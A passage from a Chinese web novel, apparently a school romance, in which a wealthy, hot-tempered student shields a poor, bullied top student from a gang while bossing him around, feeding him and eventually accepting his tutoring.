张安又把拉近了一点,低声道:“许君言又来找你了。”
蓝宁心里咯噔一下,心脏快速地跳起来,他最近都按照许君言的警告,绕着他走了,而且董宇威胁他继续骚扰许君言他也没有做,为什么许君言还会来找他?
“他,他在哪里?”蓝宁攥紧了书包带,手心里都是汗。
“在你座位上啊。”张安脸色十分难看,又说:“今天一大早上就来了,在你座位上一直翻你的卷子看,一句话也不说。”
蓝宁抿紧嘴唇,张安拉着他说:“不管怎么样,还是跟老师说吧,张主任是他舅舅,叫张主任来把他弄走,他还是挺怕他舅舅的。”
“算,算了吧......”蓝宁轻轻呼出一口气,目光低垂,他并不想惹事,已经惹了董宇,不能再把许君言惹毛,而且外婆最近身体不好,他不能弄出什么别的事。
只需要像往常一样,忍忍就好了。
于是他不管张安的劝阻,还是低着头走进班级。
之前的许君言给他带来的阴影还在脑海中挥之不去,蓝宁努力平复自己狂乱的心跳,指甲狠狠陷入掌心强迫自己冷静下来,反正也躲不过,总不过是董宇做过的那些事,又能怎么样。
他走到自己的位置,缓缓抬头,视线落在桌面上。
出乎意料的,他的桌面依旧很整洁,书本码放的整整齐齐,卷子也完好无损地呆在桌上,没有被损毁,也没有被扔在地上。
少年低着头,手里拿着其中一张卷子,在安静的看上面的字。
蓝宁认出来那是自己语文卷子,上面密密麻麻的文字是他自己写的800字文章。
大概是听到脚步声,少年的眼珠动了动,从那隽秀清丽的笔迹中抬起目光,看向蓝宁。
蓝宇再次低下头,声音有些发抖,“你,你找我有什么事?我按照你说的,绕道走了。”
许君言动了动嘴唇,欲言又止,又抬起手点点他,一脸说不清道不明的复杂表情。
蓝宁全程低着头,没看见许君言的奇怪行为,许君言觉得自己好像面对一只鸵鸟,一直胆小的仓鼠,以及一条愚蠢的翻车鱼,也想象不到,一个人居然能窝囊到如此地步。
当初给他的那张纸条上面的字,跟蓝宁的笔迹根本不一样。
也就是说,蓝宁在给别人送纸条,再给别人背锅。
全程一声不吭地被他误会。
今天要不是他过来自己看,蓝宁就会把这个锅背一辈子。
许君言大为震惊,一个大男人居然能被欺负到这种地步,不会反抗傻傻的承认了,傻傻的让他揍。
甚至还按照他威胁的话,乖乖的绕着他走。
他憋闷地站起来走了两圈,想骂蓝宁又没有立场,揍他更是不可能,一瞬间拔剑四顾心茫然,最后挠挠头,恨铁不成钢地咬咬牙,走了。
只剩下蓝宁一脸迷茫。
一周后。
许君言趴在二楼天台的栏杆上,郑嘉仪从侧门楼梯上来给他丢了一罐可乐,许君言接过可乐,单手拉开卡环,砰地一声,细小的气泡迸溅出来。
冰凉的可乐带走夏日的燥热,却带不走许君言内心的烦躁。
“言哥,你的意思是说,蓝宁是被人利用了么。”郑嘉仪也趴在栏杆上,看向许君言:“那你是不是要给他道歉啊?”
“你吃错药了?”许君言立马炸毛,睁大眼睛,指指自己,大声说:“我什么时候给别人道过歉?!都是别人给我道歉的,他蓝宁骚扰我我还没让他道歉呢,你还让我给他道歉?!”
郑嘉仪缩缩脖子:“但是不是董宇指使蓝宁的么。”
“那跟我有什么关系?那是他自己不争气!!!”许君言嗓门大的震得郑嘉仪举起双手投降,“好好好,言哥,他的错,他的错,收收火气,天已经够热了。”
许君言发作了一通,深深叹气,又像泄了气的气球一般趴在栏杆上,双手耷拉着,头枕在一侧手臂上,像朵蔫巴的向日葵,修长的手指一点一点扣着易拉罐瓶口的拉环,扣的咯哒咯哒地脆响。
郑嘉仪:“......”
可以看出许君言十分不爽了。
就因为揍错了人,这几天一直喜怒无常,提起蓝宁就急眼,急眼完自己又不开心,如此循环往复。
一直到现在。
两个人无声地呆了一会儿,一阵脚步声从楼下传来。
紧接着是几个人的说话声。
“喂,许君言让你绕路你就绕路,你怎么这么听他的?”
“那我们算什么?”
“你更怕他?”
声音由远及近,郑嘉仪听着声音十分熟悉,他往下一看,果然是董宇几个人。
他们几个人把蓝宁夹在中间正推推搡搡地往前走。
郑嘉仪看向许君言,许君言早就收起来那泄气的蔫巴样,看着下面,目光沉沉。
正赶上大课间操,同学们都在操场活动,二层破旧的小体育馆这边没什么人,董宇也是看中这一点,把蓝宁叫出来问话。
蓝宁这几天学会了反抗让他很不爽。
许君言过的舒服更让他不爽,尽管家里人已经警告过不许再招惹许君言,但董宇是咽不下这口气的,一山不容二虎,有他董宇在就没有许君言的好日子,他有的是办法自己不动手让许君言过的糟心。
董宇把人推到墙上,插着兜低头看蓝宁,三个人把蓝宁围在墙边,如同三座大山,压的蓝宁喘不过气。
“蓝宁,你什么想法啊?不想跟我们混了是吗?”董宇点点他的脑门,蓝宁低下头不说话。
小小的身体缩在角落里像一颗枯萎的小草。
张大伟抱着手臂,“跟他废什么话啊?我看是欠收拾了。”
“也不是欠收拾,大概是怕许君言了。”徐鸣绅双手插兜,踢踢他,“你怕许君言,你就不怕我们把你......”
哗啦啦--------
徐鸣绅还没说完,一股淡褐色的水流从天台下落,落在他的头顶,顺着头发淌了下来。
那褐色的不明液体瞬间爬满了脸,带着冰凉和丝丝缕缕的气泡。
徐鸣绅一惊,连忙闪开,抬头往上看。
只见两个穿着白衬衫的少年站在天台上正
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往下望,其中一个趴在栏杆上,手里捏着一瓶可乐正往下倒。
“许君言。”徐鸣绅咬牙切齿地吐出少年的名字。
许君言手里捏着倒剩下的半罐可乐,依靠在栏杆上,似笑非笑,一双半圆的杏眼透着十足的挑衅意味,“哎,不好意思,手滑了。”
蓝宁闻声浑身止不住微微颤抖,是许君言的声音,他最怕的几个人,在今天,撞在了一起。
董宇抬头眯起眼,骂了一句,“操,妈的。”
声音不大,但在场的人都能听见。
许君言微微一笑,旁边的郑嘉仪还没开骂,感觉身边掠起一阵强风,只见许君言扶着栏杆,纵身一跃,直接送二楼的天台跳了下去。
落在了董宇他们面前。
许君言单手插兜,说:“干什么呢这么热闹啊?”
徐鸣绅擦着头上的可乐,暗自思索许君言有没有猜到之前的事是他们做的,蓝宁只是一个背锅的,但现在来看应该没看出来,如果看出来的话,许的性格早就打起来了,现在许的反应顶多看出来他们是一伙的。
那就好办了,把蓝宁推出去,继续恶心他,被怀疑也死不认账,反正让蓝宁会承认,到时候难受的可只有许君言一个了。
许君言拿着半罐气泡水,先是走到蓝宁面前,打量着他。
许君言很高,大约一米八几,阴影直接罩过他的头顶,站在他面前,蓝宁只能仰望,他吓得贴在墙上,像只壁虎一样一动不敢动。
许君言说:“好巧啊,窝囊废。”
蓝宁身体一抖,嘴唇动了动,说不出任何话。
今天他应该不会好过了。
蓝宁想。
董宇正愁没处让许君言不痛快呢,许君言倒是自己找上蓝宁了,于是阴阳怪气地说:“许君言,你骂我们年级第一干什么?”
许君言眉毛一挑,“你管的着?你这么维护他是他什么人啊?”
郑嘉仪脑袋冒出一个问号。
董宇一时语塞,有种倒打一耙的感觉,许君言脑回路果然跟别人不一样,那只眼睛看见他维护蓝宁,他怕是瞎了。
徐鸣绅说:“他是我们收的小弟,骂他也要有个理由吧?你前阵子跟他打架是因为什么啊?”
张大伟会意地接话:“是不是因为我们小弟给你塞纸条,发了什么短信啊?”
徐鸣绅露出一个狡黠的笑。
“没有啊,我没收到什么纸条,也没有什么短信。”许君言头一歪,像极了蛮不讲理的黄毛,“你们在说些什么?”
徐鸣绅:“?”
董宇:“?”
张大伟:“?”
蓝宁:“?”
天台上的郑嘉仪:“?”
许君言距离打架那天才过了一周,谁也不相信这人这么快就忘记这事。
除非许君言得了老年痴呆。
郑嘉仪在心里吐槽,言哥是鱼,三秒记忆。
张大伟首先沉不住气,“你装什么,你那天不是班级里跟他打架么?”
“因为看他不顺眼。”许君言走过去,按着蓝宁的胸口拎起来,面向董宇三人,“懂吗?我看谁不顺眼打谁,没有理由,我不但现在打,我以后天天打。”
蓝宁瞬间脸色苍白。
“至于他是你们的小弟。”许君言抓着他说:“现在他是我的了。”
12. 恶龙还是骑士?
“你还想问为什么吗?我替你回答,因为我就喜欢抢别人的东西,不抢到手我觉得不舒服。”许君言松开蓝宁,喝了一口可乐,十分不讲理地看着他们,“怎么样?”
张大伟呵呵一笑,“那你们俩真是一对......”
砰!!!!!!
汽水罐猛地冲出,砸向张大伟的小腹,张大伟吃痛地叫了一声。
蓝宁肩膀一抖,光是听那碰撞的声音就知道有多用力。
张大伟顿时面目狰狞,“你他妈的找死,许君言!!!”
“操!”董宇暴了句粗口和徐鸣绅默契地对视一眼,撸起袖子准备干仗。
许君言手背青筋暴起,就要立马冲上去。
郑嘉仪眼瞅着不对劲赶紧跳下天台,拉住即将暴走的许君言,“言哥,再打架一对一家教了啊,阿姨说过的。”
许君言咬紧后槽牙又慢慢松开,冷笑一声,“你们给我等着,以后再他妈的算账。”
周围正巧有校区保安走过,几个人打架的心思都淡了下去。
董宇呵呵一笑,说:“好啊,走着瞧,妈的。”
张大伟还要动手,郑嘉仪按住许君言,冲他吼了一声,“你他妈的找死啊,别他妈不知好歹!”
徐鸣绅拉住人,往外带了带,他们是打不过许君言的,许君言是练过的,不知道是格斗还是拳击,总之他们三个跟他一个打都没有捞到好处。
再加上郑嘉仪,更没有胜算。
而且有父母的约束,董宇他们也知道正面对抗没胜算也没好处,只能暗地里使用阴招。
许君言放完狠话转头就走,走了一会儿发现新认的小弟没跟上来,返回去,踢了他一脚,“跟我走,站在这里干什么?”
蓝宁被踢的踉跄,看了眼董宇,对比了一下,还是跟了上去。
许君言插着兜在前面走,满脸阴霾。
他从来没有这么窝囊过,明明知道董宇在搞他,他又不能搞回去,看见蓝宁受欺负,他又觉得好气。
“大局为重。”郑嘉仪笑嘻嘻地说:“言哥,你忍忍就过去了昂。”
许君言咬牙切齿,“气死我了。”
说完转身一拳打在旁边堆积的铁皮桶上,铁皮桶瞬间被凹陷出一个脑袋大小的坑。
蓝宁顿时站着不动了,许君言冷静了一会儿,朝蓝宁招招手。
蓝宁僵硬地迈开步子,走到他跟前,想起许君言说过要天天打他,他绝望地闭上眼。
等了半天,也没见许君言动手,他只听见头顶发出一个不耐烦的声音:“你干什么呢?”
蓝宁断断续续地出声,声音小的像蚊蝇:“对不起,我以后再也不会出现在你面前.......真的对不起,请别打天天打我......”
许君言看他嘀嘀咕咕的样子更气了。
声音太小,郑嘉仪弯腰贴着他的头听了一会儿,哈哈一笑,“你有啥对不起的,言哥不会打你的,只是说着玩,他知道你被董宇逼的,正要给你道歉呢。”
许君言脸一红,“谁说过这种话?你要死啊?”
蓝宁一瞬间懵了,许君言知道他是被迫的?要给他道歉?
他迷茫地抬头,不敢看许君言,只能看向郑嘉仪。
“言哥他人很好的,刚才看你受欺负了,还跳下去帮你解........”郑嘉仪还没说完许君言扑上去捂住他的嘴,手指向蓝宁,“别以为,我知道了,你就以为你没错啊。”
蓝宁往后退了退,一时间有点被吓到,但缓过神来,回想起刚才的场景,又瞬间明白了什么。
原来许君言假装不知道纸条的事,是在帮他,虽然不知道为什么要帮他,蓝宁还是对他很感激,弯腰鞠躬,“对不起,谢谢。”
“谢什么谢,少自作多情,我在找董宇麻烦。”许君言说:“你也真是,一个男人,被欺负成这样,真的窝囊他妈给窝囊开门,窝囊到家了。”
蓝宁垂下头,继续当鸵鸟,旁边路过的董宇挑衅地吹了个口哨,“蓝宁,你可别忘了我说过的话。”
“我操。”许君言一股气上来,撸着胳膊就要上,蓝宁不知道从哪里来的勇气一把拉住他,许君言甩了半天没甩掉。
蓝宁低下头,声音透着一点哀求,“谢谢你,求你别打架了,他会找我麻烦。”
没有用的,即便是为了他打架,也只会让他往后的日子更加不好过,蓝宁不是没有抗争过,但没用,谁也帮不了他。
“不打架?你怕他?”许君言又说,“你觉得我没他厉害是吗?”
蓝宁不吭声。
“说话啊。”
“没有。”
仅仅犹豫了那么0.01秒,许君言感觉自己受到了极大的蔑视及挑衅,他指指蓝宁,“好啊,从今天开始你跟在我身边,我让你看看是我厉害还是他厉害。”
许君言是个纯正的直男,那些猥琐短信,即便不是蓝宁发的,他也有点心里阴影,想了想又连忙改口,“不对,你,你是我的一条狗,我叫你随叫随到。只听我的,懂不懂?”
蓝宁真的不知道该怎么办,他既不能惹董宇,也不能惹许君言。
许君言看他那样子就火大,说:“说记住了。”
“记住了。”
郑嘉仪小声bb:“人怎么能是狗?”
“我说是就是。”许君言捂着他的嘴离开。
很久很久以前,蓝宁看到一本童话故事,一位公主被恶龙抓走,囚禁在高楼之上不得自由,直到有一天,勇敢的骑士来到了恶龙的城堡,手执利剑斩杀恶龙,营救了公主,从此两个人过上了幸福的生活。
蓝宁在绝望的时候也在幻想,有一天有个人能救救他就好了,像公主一样,被骑士拯救。
逃离城堡。
但,他等了很多年,等到自己都麻木,最终没有等到骑士,如今等来了另外一条恶龙。
“传球,传球。”
蓝球场上,少年们挥洒着汗水,篮球的碰撞声和脚步声交错。
蓝宁坐在观众席,左手拿着水,右手拿着手机。
身上还搭着一件衣服。
树影打在水泥地上,蓝宁安静地缩在角落。
不一会儿,许君言打完球朝他跑过来,手一伸,“水。”
蓝宁缩着脖子连忙把怀里的水拿出来给他。
“都不凉快了。”许君言接过喝了一口原封不动地吐了回去,“给我买瓶凉的去。”
随后把水扔在蓝宁身上。
蓝宁拿在手里一看,水上面写着几个英文字母,他在便利店打过工,这瓶水要十八块。
“对,对不起,我没有钱。”
“什么?”许君言说:“你说话声能不能大一点?”
蓝宁努力放大声音:“我没有钱。”
许君言抬手,蓝宁以为要打他,下意识地挡住自己的脸,许君言伸个懒腰,蹲下来,拿起他膝盖上的手机,细长的手指在上面点了点,解锁后,点开付款码递给他,“拿这个买。”
蓝宁颤颤巍巍地伸手,生怕许君言动手,许君言说:“老年痴呆啊,手抖什么抖。”
蓝宁忐忑地接过手机,然后慢慢起身。
身上的衣服从膝盖上滑落了半截。
许君言视线扫过他,“你别把我衣服弄脏了。”
“对,对不起。”蓝
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宁连忙把衣服叠起来工工整整地放好,确定无事发生后,去拿着手机去朝小卖部走过去。
郑嘉仪也走了过来,“言哥,干嘛这么凶呀。”
其他的人中场休息也围上来,有人说:“你怎么把蓝宁弄过来了?他不是经常跟董宇打交道吗?你就不怕他阴你啊。”
许君言大马金刀地坐在椅子上,“他现在是我的狗了,要是阴我,我连他带董宇一起收拾。”
郑嘉仪擦擦汗,“蓝宁他们班同学都说他挺老实的,不是你们想的那么坏。”
“但是啊,那种人还是离远点吧,看着就麻烦。”
“对啊,你就算想跟董宇抢人,也不用一直带在身边啊。他那个穷酸样,我都看不下去。”
“你看不下去别看啊。”许君言大马金刀地摊着,“我觉得很好玩,正高兴呢。”
说话间,蓝宁已经从便利店出来了,许君言冲他吹了声口哨,“快点过来。”
蓝宁从快走变成了小跑,许君言指指他,“你看,多听话,像条小狗一样好玩。”
其他人表示很无语,一个穷酸土包子有什么好玩的,共同话题都没有。
郑嘉仪沉思半响,凑过来说:“言哥,你不会是担心董宇这阵子找他麻烦才一直带着他吧?”
许君言:“滚。”
郑嘉仪嘿嘿一笑,非常自觉地坐远了点。
蓝宁跑的脸通红,把水交给他,见周围坐了一群人,他也不敢坐过去了,默默地站在一边。
许君言喝了一口冰水。
满足地吐口气。
把剩下的给他,“给你喝。”
蓝宁脑子忽然空白一阵,深觉自己好像在幻听。
但那不是幻听,蓝宁略微愣神,只见那湿漉漉的瓶口冒着水汽,顺着白皙的手指淌了几滴水。
那瓶水是许君言喝过的,一个人喝过的水。
蓝宁只觉得心跳的很快,为什么要给他?捉弄他吗?但也只是喝过的水,没有往里吐什么,没有加奇怪的东西,只不过被嘴唇粘过而已。
“快点啊。”许君言耐心耗光,语气不善地催促。
蓝宁回过神,赶紧接过,捧着喝了一口。
冰凉的水顺着喉咙淌,带着清凉,感觉浑身都舒爽极了。
许君言给完他就没再看他,跑去继续打球了。
蓝宁呆愣愣地拿着带有凉气儿的饮料,有些茫然,这样就结束了吗?只是喝了一口饮料,不像是捉弄,好像是,奖励。
董宇多久没有找他了,蓝宁顾不得计算,因为他有空时候,他就要去找许君言。
一般是跑腿,买些什么东西,或者是写作业什么的。
许君言有时候不在班级,有时候在。
不在班级的时候,他也要站在后面等到上课才回去。
时间久了,一些闲话也传开了,传闻,他当初被打,是因为拿暧昧纸条给许君言。
传闻他母亲是小三。
传闻他跟他母亲一样,有那种勾引人的爱好。
还有传闻,说他和许君言有一腿。
不然总找蓝宁干什么?
张安转过身说:“班长,我相信你。”
蓝宁细数这些日子,后知后觉的发现,自从和许君言一起后,他再也没有挨打过,更没有被他捉弄过,相反董宇想找他几次,都被许君言发现拦了下来。
虽然许君言对他很凶,但是也没有伤害过他。
就像郑嘉仪说过的,许君言很可能是在帮助自己。
推论到这一可能,蓝宁手指都在微微颤抖,许君言是在帮他吗?他甚至不敢奢望,甚至不敢相信自己的判断。
13. 想也不可以,想也不能捡垃圾吃
就连许君言对他好这一点,也是从别人畸形的流言蜚语中推论而出......
蓝宁走着走着,迎面撞了一下人,那人笑嘻嘻地说:“又去找许君言?”
语调上扬,听着刺耳又暧昧。
蓝宁想起这几日的传言,脸一红,连忙躲到一边快步走了。
那人嬉笑了一阵又说:“他们两不会是真的吧?”
“嘘,别让许君言听见。”
“哈哈,这么多人传,怕什么。”
.......
蓝宁走到门口,往里面看了一眼,许君言这会儿在,蓝宁的脸更红了,刚才的话仿佛余音绕梁又在耳边回响了一遍。
他抿了抿唇,下定决心走过去。
许君言站着单手插兜,郑嘉仪懒懒散散地坐在旁边,两个人正聊着天。
“你开局就躺地上,你还好意思找我组队?”
“那是你选点不好嘛,总选G港,下去乌泱泱的一片人,谁受的了啊。”
“人菜少言。”
许君言还伸手指了指郑嘉仪,袖口处露出一块白皙的皮肤,还有一串红绳绑的平安锁,红的扎眼。
蓝宁连忙收回了目光,跟往常一样安静地站在一边。
“呦,你女朋友来了。”郑嘉仪下巴点点蓝宁。
“我操!”许君言给他一脚。
蓝宁顿时心跳吐鼓,耳根子都跟着烧起来,他想不到谣言这么快也传到许君言的耳朵里了,蓝宁犹豫地张了张唇,说:“那个传闻,你不解释,吗?这件事,是,是我的错。”
是因为许君言总带着他,所以才会传出这种奇怪的传闻。
许君言既然没有欺负他的想法,完全可以不管他。
无视他不是更好,为什么要跟他这种人扯上关系。
他什么都没有,就像别人说的,是一个穷酸的土包子。
蓝宁手指交错,声音低低的,“你别管我了......”
管我会让你也被人当做异样看待,也会陷入流言蜚语。
你跟我本就不是一个世界的人,何必因为我而陷入困境。
许君言略微弯腰,试图听清他在说什么,但更明显失败了,于是十分不悦地皱起眉,“嘀嘀咕咕说啥呢?我跟你说多少回了,大点声。”
蓝宁肩膀一抖,深呼出一口气,“对不起,都是我的错,请你........”
“当然是你的错。”许君言打断他,直起身,指指他,“弯腰。”
蓝宁有一瞬间迷茫,还是弯下腰。
“身体前倾然后双手平举,趴在椅子上。”
然后蓝宁只觉得后背一沉。
许君言大大咧咧地坐了上去,“我跟你说,郑嘉仪,你再秒死,我绝对不跟你玩。”
蓝宁:“.......”
原来许君言不在乎这件事吗?甚至还把他当成了坐垫……
一个人怎么能这么奇怪,既欺负他又对他好。欺负他也没有怎么欺负,只不过叫他跑腿,写作业,或者被当成坐垫.......
这跟以前比根本不算什么。
周围的人一阵寂静,许君言就这样坐在蓝宁后背上,拖着下巴拿手机看,一副我是大爷的样子。
郑嘉仪说:“哥,你怎么能这样啊。”
许君言:“我不跟菜狗一起玩。”
郑嘉仪下巴指指蓝宁,“我是说他。”
“他?”许君言低头,看向蓝宁,“他是自愿的啊,你是不是自愿的?坐垫?”
蓝宁反应了一会才知道是在叫他。
“是。”
“这样不好吧?”
“有什么不好的?”许君言漫不经心地说。
班级里剩下的人窃窃私语,原来许君言一直在欺负蓝宁,并不是传言中的有什么暧昧关系。
哪有暧昧的人,会坐在另一个人的背上的。
郑嘉仪啧啧两声,许君言蓝白相间运动鞋踩在地上,时不时还抖两下腿。
蓝宁想,这人也是一条恶龙。
恶龙在他身上座了一会儿,抬起手上的表看了眼时间说:“订饭了吗?”
许君言不吃学校食堂,一直都是提前订好堂食出去吃。
郑嘉仪一拍脑袋,说:“哎呀,刚刚打游戏,忘记订饭了。”
“你怎么不把自己忘了,不订饭我们吃什么?”
“去食堂啊。”
“啊?”许君言露出一个厌恶的表情。
郑嘉仪说:“现在订饭来不及了啊,蓝宁不是有饭卡吗?去食堂吃吧。”
中午休息时间短,没有提前订餐就只剩下食堂一个选项,许君言无奈妥协。
“喂,你有饭卡吗?”许君言低头看向他。
趴在椅子上的蓝宁,点点头。
走出教室。
许君言跟郑嘉仪走在前面,蓝宁慢吞吞地在后面跟着,他暗自计算饭卡里的钱。
卡里就剩三百块,是他两个月的伙食费,不知道今天能花出去多少。
学校一共两个食堂,许君言去了最近的一个,也是最贵的一个,蓝宁心里紧张的要死。
食堂里的人不多,因为比较贵,都是家里条件不错的人过来吃。
像餐厅一样有独立的方桌。
许君言叹了口气,“这味道混在一起真够恶心的。”
“别挑嘛。”
郑嘉仪拉着蓝宁,伸出手,“卡借我用用,回头你老公给你报销。”
“你他妈的没完了是吧?”许君言抬腿又踢了他一脚。
郑嘉仪撇撇嘴,小声说:“我又没说你,不打自招啊。”
蓝宁闹了个大红脸,连忙掏出饭卡递给郑嘉仪。
郑嘉仪笑嘻嘻地接过去。
蓝宁抬眼扫了一眼许君言,许君言很淡然,似乎真的不在乎自己跟他有什么流言蜚语,也不在乎郑嘉仪的玩笑。
蓝宁莫名觉得很庆幸。
“蓝宁,过来。”许君言站在出餐的档口说。
蓝宁走过去,大排档里都是令人流连三尺的珍馐美味,对蓝宁来说是的。
红艳艳的红烧肉,浅黄色白斩鸡,香菜拌牛肉,红烧小羊鄂,以及手掌大小的红虾。
看过去的
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每一样,都让他分泌涎水。
许君言手臂搭在他的肩膀上,身体的重量也就随之倾斜过来,蓝宁心脏一颤,靠近的一瞬间,他闻到了一股好闻的香味。
那只手的手指修长,骨节突出,手指活动几下,清脆地响几声。
“吃什么点啊。”许君言活动着手指说。
蓝宁迷茫地了一会,才发现许君言是在对自己说话。
郑嘉仪凑过来说:“言哥会报销的。你点吧。”
蓝宁一时手足无措,含糊不清地说:“我......我不知道。”
“我,我不知道~”许君言重复他的结巴语调,学的阴阳怪气。
“哈哈哈,你别欺负他了。”郑嘉仪被许君言的学舌逗的笑出声,端着托盘,将里面的菜随手拿了几样。
“要那个素烧丸子。”许君言说。
“点这么多吃的完吗?”郑嘉仪将装满菜的托盘递给蓝宁。
蓝宁接过去转身去找位置,没走几步,迎面正好撞见一个人走了过来。
蓝宁看到那人,脚底顿时升起一股凉意。
是徐鸣绅。
徐鸣绅也注意到了他,嘲笑地眯起眼,“你也配在这?在这端盘子还是扫地呢?”
蓝宁抿了抿唇,低下头,转身要走时,手里的托盘忽然被人拿走了。
蓝宁慌忙地抬头,看见了一张白皙圆润的侧脸。
许君言端着手里的托盘,视线轻飘飘地落在徐鸣绅身上。
徐鸣绅也愣住了一下,“你也在这?”
他记得许君言从来不在食堂吃。
“我为什么不能在这?你怎么一个人啊?”许君言挑挑眉,“剩下两个人呢?今早出门被车创死了?”
蓝宁:“......”
徐鸣绅眯起眼睛,“神经病。”
说完转身就走,没走几步,许君言拿起托盘上的红烧肉,朝着徐鸣绅后背狠狠一扔。
扑通一声。
深红色的汤汁顺着校服后背流淌下来。
碗碟摔在地上滚动几圈,发出一阵脆响。
蓝宁惊讶地张着嘴。
许君言说:“请你吃红烧肉,别客气啊。”
徐鸣绅脚步顿了顿,后背僵直,随后头也不回地走了。
许君言冷笑一声,端着手里剩下的菜,去找空位置。
蓝宁有些愣神,朝那盘散落在地上的红烧肉走过去,目光低垂。
鲜红的肉包裹汤汁,散发诱人的香气,虽然沾了点灰,但是还是很让人心动。
很可惜。
这一盘要十几快呢。
他很少吃肉的,只有过年的时候才能吃上几回。
还是先打扫起来吧,蓝宁正想着。
刚要蹲下来,一只手猛地把他从地上拉起来。
“哎!你干什么?”许君言拽着他的胳臂,低声呵斥:“不准捡起来吃。”
蓝宁迷茫的抬眼:“啊?我想......”
他只想收拾起来......
“想也不行。”许君言拽着他的胳臂把他拉走:“不准吃。”
14. 许皇大帝
蓝宁看着两盘红烧肉,然后又看见自己饭卡的余额只剩下一半,顿时双眼一黑,差点没站稳。
菜点了挺多。
但许君言没吃多少,郑嘉仪也是,蓝宁一个人吃的干干净净。
可一次吃太多油水,导致他撑得难受。
走出食堂,蓝宁捂着肚子,感觉胃里一阵又一阵的翻涌,所有的食物堆积到嗓子眼,只差迎门一脚,就倾泄而出。
蓝宁走了两步,不得不站在歇会儿。
许君言见他迟迟不动,拉了一下他,蓝宁直接没忍住,哇地一声,吐了他一身。
“我操!!!!!”许君言发出尖锐的爆鸣。
食物残渣沾满衣服,许君言五官扭曲,蹦出去老远。
“对不起,我吃,吃的太多了。”蓝宁不知道自己怎么了,也许真的是吃的太多了,导致自己根本消化不了这些东西。他喘了口气,满脸冷汗,“真对不起,我给你洗干净......”
许君言暴躁了一会儿,挠挠头,“行了,真没出息,不就几盘肉吗?饿死鬼脱身啊,一直吃。”
索性宿舍离食堂比较近,换衣服也很方便。
许君言回到宿舍,直奔浴室。
蓝宁第一次进寝室有些局促,郑嘉仪躺在床上休息,招呼蓝宁随便座。
宿舍凉风习习,吹的人十分舒适,蓝宁胃里不再那么难受,坐在一边的椅子上,静静地等待。
浴室的水声停止,许君言直接光着身子大摇大摆地走出来。
蓝宁看到那白花花的一片,立马低下头,拿起他丢在地上的衣服,走向浴室准备清洗。
“别洗了。”许君言拽了一条毛巾擦擦身体,身上的线条流畅有型,已经有点青年人的轮廓。
“扔了,扔在那里。”许君言指指旁边垃圾桶。
“不洗,那,那我赔你吧。”蓝宁小声说。
“啊,好凉快。”许君言站在衣柜前挑衣服,根本没在听,郑嘉仪倒是听见了,说:“一件衣服而已,不用那么计较,你好些了没有呀,没见过一个人把饭吃到吐的。”
许君言放在衣服上的手顿了顿,随即大大咧咧的说:“没出息。”
蓝宁:“......”
察觉到自己帮不上什么忙,他低着头重新回到椅子上装蘑菇。
许君言穿了一条内裤,拿起手机走过来,“你手机呢,把饭钱转给你。”
“我没有手机。”
“也对,你这么穷。”许君言又噔噔噔地走回去,在柜子里翻找一阵,摸出一个手机扔给他,“以后用这个吧。”
蓝宁接过手机不知所措,许君言走进他,弯下腰,湿漉漉的头发垂着水滴,鼻梁上的痣越发殷红,他手搭着椅子靠背,另一只手点点手机屏,操作了一番,把微信页面推给他。
“手机卡是我的,我想你没有手机卡吧,看这,我只教你一遍啊,”许君言先往手机里转了2000,然后说:“点这里接收,然后余额在这……提现的话,你自己绑银行卡,再换手机卡,懂了没?”
湿漉漉的潮气侵袭,许君言的脸凑的很近,近到能看见上面细微的绒毛,他皮肤过分白皙,甚至一点瑕疵也没有,蓝宁被那张过分好看的脸,诱惑的走神,不由说出了心里话,“你,为什么要给我这些钱,还有钱,太多了,你到底想做什么......”
为什么要对他这么好?他一直不理解。
“给你你不想要?要不我打一顿再给你?”
蓝宁猛然清醒,使劲摇头,“不要。”
“拿着。”许君言凑过去,沉声说:“点进去,这里,按照我说的做。”
蓝宁还是怕许君言的,特别是他威胁的语气下,他紧张的手在屏幕上乱点,许君言盯着他操作,他可以感受到细微的呼吸在烫他的手指。
烫的他手指发抖。
郑嘉仪也凑过来,“哎呀,学的真快,以后我不在的时候,就靠你照顾言哥了。”
许君言翻了个白眼,“我半身不遂用你照顾?”
蓝宁疑惑地抬头,“你不在?”
“是呀,我快要去进修了。”郑嘉仪说:“文化课已经提前学完了,就是专业课需要再精进一点,毕竟马上要高三了啊,等到高三我的压力也会小点。”
高中的节奏很快,三年时间很紧,有的学生家里条件好,会在暑期提前补课,学完下学期的知识,比别人多跑一点。
毕竟高二一开头,就离高三不远了。
学生们未来的人生如何,全都压在这三年。
许君言起身,穿着衣服又说:“走就走啊,我还要替你昭告天下?”
郑嘉仪说:“言哥你学习怎么办阿?有打算没?不如让蓝宁教你啊。”
许君言沉默了一会儿说:“我?我才不用。”
“但是你文化课倒数第一欸,现在高二下半学期都快过去了,该打算一些了。”郑嘉仪说:“只靠专业课,不能上好大学。”
许君言当然知道这些,但他就是学不进去。
蓝宁听着他们的话,低头看着手机,思索半响,他抬头,“我可以帮你。”
蓝宁真不吹牛,他的实力不是盖的,省重点高中年级第一的含金量不是随便说说。
许君言抓了抓半干的头发,说:“既然你求我,我就答应你好了。”
蓝宁:“。”
--------
蓝宁趴在课桌上,将手机放在桌子下,手指点着屏幕。
这阵子过的太安逸了,每天跟着出去吃饭,他觉得真幸福。
有了手机后,他不用再去许君言的班级里,许君言也没有再每天找他。
找他会用微信联系。
他下滑着微信页面,隐约有种期待感。
从以前的躲闪不及战战兢兢到现在,蓝宁觉得许君言并没有以前那么可怕了。
许君言的微信名是许皇大帝。
个性签名是:君临天下。
蓝宁看完忍不住笑了下。
这么中二的名字。
是生来就是要做皇帝的意思吗?
但想想确实有点像自大独裁的暴君。
可是跟着他可以吃饱饭啊,不用再吃土豆白菜,也不用受苦。
蓝宁觉得有些飘飘然,如果可以,他想一辈子就这样活着。
微信弹出一条消息:“作文写一份给我。”
照片jpg
蓝宁回复一个收到的表情。
许皇大帝:晚自习天台上等我。
蓝宁:晚自习老师会点名。
许皇大帝:让你过来就过来,废什么话?
蓝宁手指顿了顿:好。
晚上凉风习习,许君言早早在天台上等着他。
与往常不同的是,许君言拿了几本书。
蓝宁:“你,找我,什么事?”
“给我补课啊。”许君言:“你不是求我吗。”
蓝宁:“......”
谁求你了。
两个人坐在地上,许君言拿了他的校服垫在身下,煞有其事的掏出一本崭新的课本。
他们都是理科班,现在高二下半学期已经过了大半。
蓝宁没想到的是,许君言的课本居然是崭新的,像刚印刷出来的一样新。
蓝宁思索半响,小声说:“你上次月考成绩可以给我看看吗?”
“哦。”许君言躺在地上在手机群里翻找一会儿,发了一个电子成绩单。
蓝宁点开,手指往下划,划到最后,找到许君言的大名。
